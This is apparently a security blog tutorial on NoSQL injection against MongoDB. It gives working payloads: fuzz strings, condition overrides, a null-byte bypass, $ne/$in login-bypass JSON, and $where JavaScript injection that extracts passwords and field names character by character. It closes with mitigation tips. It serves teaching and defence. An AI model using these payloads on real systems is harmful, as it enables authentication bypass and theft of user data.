NoSQL Injection: Exploitation Techniques and Attack Scenarios 💣
Overview
NoSQL injection occurs when untrusted user input is unsafely interpolated into NoSQL queries. Due to the flexible, schema-less nature of NoSQL databases (like MongoDB, CouchDB, etc.), traditional SQLi defenses often fall short — leading to novel attack surfaces.
⚠️ This post is for educational purposes only. I follow responsible disclosure.
There are two major types of NoSQL Injection:
1. Syntax Injection
- Involves breaking the query syntax and injecting custom code.
- Similar in spirit to classic SQLi, but the syntax and context differ significantly.
2. Operator Injection
- Leverages query operators like
$ne,$in,$regex, or$whereto manipulate logic and extract data.

NoSQL Syntax Injection 🔍
Detecting Syntax Injection in MongoDB 🧪
Test URL:
https://website.com/product/lookup?category=shoes
Underlying Query:
this.category == 'shoes'
Fuzzing Example:
'"`{;$Foo}$Foo \xYZ
Encoded attack:
https://website.com/product/lookup?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
Response anomalies may indicate unsanitized user input.
Character-Based Testing 🔍
Inject a single quote:
this.category == '''
If this breaks the query, try:
this.category == '\''
If it works, the app is parsing raw input in MongoDB queries — potential syntax injection.

Boolean Conditions for Validation ✅
- False condition:
https://.../lookup?category=shoes'+&&+0+&&+'x
- True condition:
https://.../lookup?category=shoes'+&&+1+&&+'x
If the application behaves differently, it confirms backend query manipulation.
Overriding Conditions 🧨
Example Payload:
https://.../lookup?category=shoes'||'1'=='1
Query:
this.category == 'shoes' || '1' == '1'
This forces the condition to always return true.
Bypassing with Null Characters 🧬
Scenario:
this.category == 'shoes' && this.released == 1
Payload:
https://.../lookup?category=fizzy'%00
If the backend trims after null byte, this.released is ignored — potentially exposing unreleased data.
NoSQL Operator Injection

Authentication Bypass Example 🔓
Original Request:
{"username":"admin","password":"invalidpassword"}
Bypass with **$ne**:
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
Returns all users where username and password ≠ “invalid” — likely logs in first valid user.
Target Specific User 🎯
{"username":{"$in":["admin"]},"password":{"$ne":""}}

JavaScript Injection via $where 💉
Request:
https://.../user/lookup?username=admin
Underlying Query:
{ "$where": "this.username == 'admin'" }
Payload Example:
admin' && this.password[0] == 'a' || 'a'=='b
🔍 Identifying Field Names
Compare responses:
- Known field:
admin' && this.username!='
2. Unknown field:
admin' && this.foo!='
Identical output for username/password implies valid field.
Exploiting Operator Injection to Extract Data 🔐
Injecting **$where** as Parameter
Test:
{"username":"admin", "password":"admin", "$where":"1"}{"username":"admin", "password":"admin", "$where":"0"}
Different responses indicate $where is evaluated.
Field Extraction via **Object.keys**
"$where": "Object.keys(this)[0].match('^.{0}a.*')"
Extract character-by-character using RegEx.
Conclusion
NoSQL injections can be just as dangerous as traditional SQL injections. By abusing flexible data models, JavaScript evaluation, and improper sanitization, attackers can:
- Bypass login
- Dump sensitive data
- Extract hidden or unreleased records
- Perform privilege escalation

🔐 Mitigation Tips:
- Always sanitize and validate input.
- Disable JavaScript-based operators like
$wherewhen not needed. - Use allowlists for query fields.
- Implement robust logging and monitoring.
📌 Special thanks to Shah kaif — My dedicated learning partner — for collaborating on this research and finding.
